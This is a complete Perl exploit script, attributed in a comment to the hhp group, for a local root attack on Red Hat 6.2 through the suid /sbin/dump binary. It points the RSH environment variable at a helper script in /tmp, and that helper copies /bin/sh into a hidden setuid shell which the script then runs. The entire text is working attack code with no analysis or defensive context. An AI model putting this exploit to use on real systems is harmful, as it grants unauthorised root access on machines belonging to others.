#!/usr/bin/perl
# hhp(hhp-programming.net) - icesk: redhat 6.2 suid /sbin/dump
use Env qw(TAPE);
use Env qw(RSH);
$TAPE = "haha:haha";
$RSH  = "/tmp/suid";

open SUID, ">/tmp/suid";
print SUID "cp /bin/sh /tmp/.suid;chmod +s /tmp/.suid";
close SUID;
system "chmod 755 /tmp/suid";
system "/sbin/dump -0 /";
system "/tmp/.suid";